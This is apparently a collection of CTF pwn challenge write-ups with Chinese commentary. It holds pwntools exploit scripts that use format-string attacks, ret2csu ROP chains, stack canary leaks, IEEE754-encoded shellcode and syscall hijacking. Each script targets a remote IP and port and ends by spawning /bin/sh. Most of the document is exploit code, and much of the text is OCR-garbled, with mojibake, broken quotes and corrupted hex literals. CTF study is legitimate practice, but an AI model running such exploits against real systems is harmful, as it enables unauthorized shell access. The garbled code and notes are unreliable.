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01.pwnme-50:
Tag: fmtstr{E F ik / BAE H / ret2csu_init
#encoding:utf-8

from import *
#context.log_level = 'debug’

def leak(adadr
sendafter
sendafter \n
#/Hsendline £ Hi K&
sendafter \n + + p64
sendafter
= jo.recvuntil
print
Hleak & 2 #9318 FIE A F1FE B, EHFHFERKERHO, EFEWX00
iflen =11
return "\x00
else

return 4:-7

= remote 10006
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io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('A")
io.recvuntil('Input your password(max lenth:40): \n')

io.sendline('1")

d = DynELF(leak, elf=ELF('./pwnme"))
system_addr = d.lookup('system, 'libc')

log.info('system_addr:%#x' % system_addr)

io.recvuntil(*>")
io.sendline('2")
io.recvuntil('please input new username(max lenth:20): \n")
io.sendline('A")

io.recvuntil('please input new password(max lenth:20): \n")

# rop = ROP('/pwnme’)
# rop.raw('a"0x28)
# rop.raw(/bin/sh’)

pop_rdi_ret_addr = 0x400ed3

pppppp_ret = 0x400eca

init_gadget = 0x400EBO

payload ="A'* 0x28

L — 1 AT 3 G H 1 Dgsh 5 75 2 Fr i it
bin_sh_addr = 0x602800

#1F fHread@plt

Hebx JiF {6 50 ebpiE (e 91 (RiE R # 17 —ik—ret2csu

payload += p64(pppppp_ret) + p64(0x0) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) +
p64(0)

#1-7add esp 8 + 6-7\pop = 7

payload += p64(init_gadget) + p64(0x8) * 7



## Hbin_addrZrdi, # /5 1 fHsystem

payload += p64(pop_rdi_ret _addr) + p64(bin_sh_addr) + p64(system_addr)
HFY T B0 550 KRR

payload = payload.ljust(0x101, 'A’)

io.sendline(payload)

io.send('/bin/sh\x00")

io.interactive()

02.loading-50:

Tag: mmap / shellcode / [EEE7547% s 3% =, / python-struct

mmap bR iR &

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
11 FH structi B 5k 25 8 H 38 4% X

structii i o £ & 2 ) = 4> i & pack(), unpack(), calcsize

# B KK (fmt), FEHIE R TR 8 (PR ERREAT ik K71 %)
pack(fmt, v1, v2, ..))

# & 45 52 K R (fmt) @ 7 T i string, 3R [8]f# 4 i >R K tuple
unpack(fmt,string)

#irHEE RN (fmt) S AZDFIRANE

calcsize(fmt)

ERfmt, ZREK AN



FORMAT CTYPE PYTHONTYPE STANDARD SIZE NOTES

x pad byte no value

(2]

char string of length 1 1

signed char integer 1 (3)

vy} o

unsigned char integer 1 (3)

? _Bool bool 1 (1)

h short integer 2 (3)

H unsigned short integer 2 (3)

i int integer 4 (3)

I unsignedintinteger 4 (3)

I long integer 4 (3)

L unsignedlong integer 4 (3)

q longlong integer 8 (2),(3)

Q unsigned longlong integer 8 (2),(3)

f float float 4 (4)

d double float 8 (4)

s char[] string

p char[] string

P void* integer (5), (3)

HE1LQMQREN S RFMIRIERGER T X
E2E8M AT UE M, RN
HISHART B RKENTFRFE, sERKENMFRH, HEpRZ KR pascal ¥ £ 8
HAPRRE B — MR, HKEMPLSFKMER
ES. A — A U HRR R RERBEK, H4PhFTH

AT RcHRSHAZHREE, EEFEBH R cBcH+HmFRMEM T WX 5, EHE R U TN EALK 32
LR GE, WM structiR 45 A< L 85 19 B B e 7T DUR A% 3R b B 38 — A P AP R B X 57 5 g LT -

CHARACTER BYTE ORDER SIZE ALIGNMENT
@ native native native

= native standard none

< little-endian standard none

> big-endian standard none



! network (= big-endian) standard none
AT ERBAMNE —NMLE, B @5s6sif
import struct

from pwn import *

import time

context.log_level = 'debug'
context.arch = 'i386'

context.os = "linux

def get_int(s):

a = struct.unpack('<f', s)[0]* 2333

return struct.unpack('l', struct.pack('<I', a))[0]

target = remote('106.75.2.53', 10009)

print "Sending IEEE754 shellcode..."

time.sleep(1)

target.sendline(str(get_int("\x99\x89\xc3\x47')))  # mov ebx, eax

target.sendline(str(get_int("\x41\x44\x44\x44")))  # nop/align
for ¢ in '/bin/sh\x00":
target.sendline(str(get_int("\x99\xb0'+c+\x47"))) #mov al, ¢

target.sendline(str(get_int("\x57\x89\x03\x43'"))) # mov [ebx], eax; inc ebx

foriin range(8):

target.sendline(str(get_int("\x57\x4b\x41\x47"))) # dec ebx

target.sendline(str(get_int("\x99\x31\xcO\x47')))  # xor eax, eax



target.sendline(str(get_int("\x99\x31\xcO\x47")))
target.sendline(str(get_int("x99\x31\xd2\x47")))
target.sendline(str(get_int("\x99\xb0\x0b\x47")))

target.sendline(str(get_int("x99\xcd\x80\x47")))

target.sendline('c')
target.interactive()

03.what_the_fuck-50:

# xor ecx, ecx
# xor edx, edx
# mov al, Oxb

#int 0x80

Tag: fmtstr{EZ 125 / Canary%éid (@ stack_chk_fail) /ret2syscall / ret2csu
&Y %n, &4 %hn, %hhn, %lin, 43R5 ANBHRZEE2FEY, 175, 8FH

i i fmtstritt % read fsyscallh bk

B fmtstrfE 2 ANELE R W LA BEROPEE, JLit6kikiit, R)5EEROP M init 7 jEshell

FFEshellid 2 T B
#encoding:utf-8

from pwn import *

#context.log_level="debug’
context.arch="amd64'
context.os="linux

context.terminal=[tmux, 'sp', -h']

def name(payload):
io.readuntil(input your name: ')

io.send(payload)
def msg(payload):
io.readuntil('leave a msg: ')

io.send(payload)

#io = process("/what_the fuck’)



io = remote('106.75.2.53', 10005)

#E— kel

payload=p64(0x601020)

name(payload)

#1524 stack chk_fail@got ymain——=Ek Hi R e A main 6 #t
#1117 Eiread@qot 4918 LI R 25 A 77 fig HIrbp #9 (6
payload='%.'+str(0x0983)+'d'+'%12%hn'+" %9%s%10$Id'
payload+="x00"(0x18-len(payload))

payload+=p64(0x601040) #read@qgot#iHiht, 71 T Frbp

msg(payload)

test=io.readuntil("\x7f)

test=test[-6:]+"x00™2

read=u64(test)

print "read_addr => "+hex(read)

syscall=read+0xe #read/i_-0xe 4syscall ? J7 A1 4/ HJ 2 2 5 R 18 &t 28 1 T libc i B
#syscall £ Zlibe # thi #18 7 7] LI 50XE?

stack=int(io.read(15),10)

print "stack_addr => "+hex(stack)

HaE Ik red

payload=p64(0x0)

name(payload)

#read(0, 0x00007ffdc0494e38, 0x200)
payload=p64(0x0400A7C) #init i $——4pop|ret s 4F
payload+=p64(0x601040) #read@got#J#: 4 =>
payload+=p64(0x200)

payload+=p64(stack-0x88) #0x00007ffdc0494e38

msg(payload)



#E =Lkt

#"0x00007ffdc0494e30 = 0 #&_L — teWiread #95 —1Z4t( Fr 7 7)
payload=p64(stack-0x90)

name(payload)

payload='%12%n'

payload+="x00"(0x20-len(payload))

msg(payload)

#E VYA ik 1]

#*0x00007ffdc0494e38 = 0x400A60 => call r12

# 13l 9 [ A

#"0x00007ffdc0494e34 = 0 =1 #ebiread ) % — =% (/5 V15 )
# 15 =k HiHIname

payload=p64(stack-0x88)

name(payload)

payload='%9%n'+'%.'+str(0x400a60)+'d'+'%12%n'
payload+="x00"(0x18-len(payload))

payload+=p64(stack-0x8c)

msg(payload)

HE LA

HIE2C T — K Fe it HHRFFHT
#*0x00007ffdc0494d10 = 0x00007ffdc0494e08
# 1saved rbp 1 5=kl H 9K [B] Hs hf
payload=p64(stack-0x1b0)

name(payload)

rbp=stack-0xb8

rbp=rbp%0x10000
payload='%.'+str(rbp)+'d'+'%12$hn'
payload+="x00"(0x20-len(payload))

msg(payload)



#EN e

payload=p64(0x601020) # _stack chk_fail@got
name(payload)

#eave

payload='%.'+str(0x0a1c)+'d'+'%12%hn'
payload+="x00"(0x20-len(payload))
msg(payload)

payload=p64(0x0400A7A) #6pop|ret
payload+=p64(0x0) #rbx

payload+=p64(0x1) #rbp
payload+=p64(0x601040) #r12 => read(0, bash_addr, 0x3b) 0x3b_ #execve & 2 1 /1 5
payload+=p64(0x3b)  #13 =>rdx
payload+=p64(0x601b00) #r14 =>rsi
payload+=p64(0x0) #r15 => edi
payload+=p64(0x400a60) #call r12
payload+=p64(0x0)

payload+=p64(0x0)

payload+=p64(0x1)

payload+=p64(0x601b08) #r12 => syscall(bash_addr, NULL, NULL)
payload+=p64(0x0)

payload+=p64(0x0)

payload+=p64(0x601b00)
payload+=p64(0x400a60)

raw_input('go’)

io.send(payload)

raw_input('go’)
io.send(/bin/sh'+"\x00'+p64(syscall)+\x00™0x2b)

io.interactive()



04.easypwn-50:
Tag: Canary%eid (itt#Ecanary) /ret2csu / ret2syscall

/[Tip: Canaryfe LAOX00%5 &, 4n SR A2 F B0A R TR (B AR _E THT W 467 5 — A6 1 45 B 3X ASOX00 ] DA =4 A B, 38 SR 45
ITERH R

BRFERHREAN, H—IKHXMtEcanary, 5 _IRFHREH

S63E i 1 it B syscall#ht (X B R iBidlibck Blread+0xe syscall) , #R)5iR[EIFmain, 7EH A BEROPE
i csufRAgHFF 5 shell

#encoding:utf-8

from import *



context.log_level='debug'
context.arch="amd64'
context.os="linux

context.terminal=['tmux, 'sp', '-h]

#io = process("/easypwn’)

io = remote('106.75.2.53', 10002)

# io.recvuntil("Who are you?\n')
# io.sendline('A™(0x50-0x8))

# io.recvuntil "A™(0x50-0x8))

# canary = u64(io.recv(8))-Oxa
# log.info(‘canary:'+hex(canary))

elf = ELF('./easypwn’)

io.recvuntil("WWho are you?\n')
io.send('a"0x48+"x01")
io.recvuntil(‘a*0x48)

canary = u64(io.recv(8))-1
log.info("canary => " + hex(canary))

io.recvuntil('name?\n’)

main_addr = 0x4006C6
pop_rdi_ret = 0x4007f3
csu_pop = 0x4007EA

csu_call = 0x4007D0

payload = 'a™0x48 + p64(canary) + 'a™8

payload += p64(pop_rdi_ret)



payload += p64(elf.got[read)

payload += p64(elf.plt['printf])

payload += p64(main_addr)

io.send(payload)

io.recvuntil(‘again\n')

read_addr = u64(io.recvuntil('Hello', drop=True).ljust(0x8, "x00"))
syscall = read_addr + Oxe

log.info("read => " + hex(read _addr))

log.info("syscall => " + hex(syscall))

io.recvuntil("Who are you?\n')
io.send('a™0x48+"x01")
io.recvuntil('a™0x48)

canary = u64(io.recv(8))-1
log.info("canary => " + hex(canary))
#gdb.attach(io,’b *0x4007d6')
io.recvuntil('name?\n’)

payload = 'a"0x48 + p64(canary) + 'a™8
payload += p64(csu_pop)

payload += p64(0x0)

payload += p64(0x1)

payload += p64(elf.got[read)
payload += p64(0x3b)

payload += p64(0x601080)
payload += p64(0x0)

payload += p64(csu_call)

payload += p64(csu_pop)

payload += p64(0x0)

payload += p64(0x1)

payload += p64(0x601088)

payload += p64(0x0)



payload += p64(0x0)
payload += p64(0x601080)
payload += p64(csu_call)
io.send(payload)
raw_input('go’)

io.send('/bin/sh\x00'+p64(syscall)+0x2b*'a")

io.interactive()

05.black_hole-50:
Tag: FHpush rbpE AROP#% / ret2csu / 7 5 got/& i syscall
#encoding:utf-8

from pwn import *

DEBUG =0
PATH ="./black_hole'
SERVER = (106.75.2.53', 10001)
context.update(arch="amd64', os="linux, terminal=["tmux, 'sp', -h'])
if DEBUG:
context.log_level="debug'
io = process(PATH)
else:

io = remote(SERVER0], SERVER[1])

elf = ELF(PATH)

rop = ROP(PATH)



gadgets1 = 0x4007AA

gadgets2 = 0x400790

def hole(io,msg):
sleep(0.1)
io.send('2333"ljust(0x20, 'a'))
sleep(0.1)

io.send('a”0x10+msg+p64(0x400704))

payload = ]
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['read))
payload.append(p64(1))
payload.append(p64(elf.got['alarmT))
payload.append(p64(0))
payload.append(p64(gadgets?2))
foriin range(7):
payload.append(p64(0))
payload.append(p64(gadgets1))
payload.append(p64(0))
payload.append(p64(1))
payload.append(p64(elf.got['readT))
payload.append(p64(0x3B))
payload.append(p64(0x601070))
payload.append(p64(0)) #rax=0x3b
payload.append(p64(gadgets?2))
payload.append(p64(0))
payload.append(p64(0))

payload.append(p64(1))



payload.append(p64(0x601078))
payload.append(p64(0))
payload.append(p64(0))
payload.append(p64(0x601070))
payload.append(p64(gadgets?2))
#for char in xrange(0x45,0x46):
#io = process('/black_hole’)
#io = remote('106.75.66.195',11003)
i = len(payload)
for msg in reversed(payload):
log.info(i)
i=i-1

hole(io,str(msg))

#raw _input('Go?’)

sleep(0.5)

io.send('2333'+'A*(0x20-4))
sleep(0.5)

#raw _input('Go?')
io.send('A*0x18+p64(0x4006CB))
sleep(0.5)

#raw_input('Go?’)

#log.info('Trying {0}".format(str(char)))
io.send(chr(0x5))

#raw_input('Go?’)

content = "/bin/sh\x00"

content += p64(elf.plt['alarm]) call *(&alarm@pilt)
content = content.ljust(0x3b,'A’)
sleep(0.5)

io.send(content)

#io.sendline('s’)



#iry:
interactive
Hexcept:

close

BE.

644 T ittt 3B syscallff #i it

R 3 o6 Bk & A syscall B 8% 8 3 T 347 S0 I R B

AlibcktER T HE T HEME, &A libck 5 T o LR K A 1byte I fhe

KRG

FHE—: BEZRBEPgotRKEE—0L, REHfunc@pltE A+, @it csudki 2lsyscall
FHk . #tEHfunc@gotfE, AREFR A ZEM L IWBE B syscaliiht B A&+, #idcsuBbi 3

syscall

I B A H i libe A iR 55 S libchR A A B, sy scallff) i 8 th A
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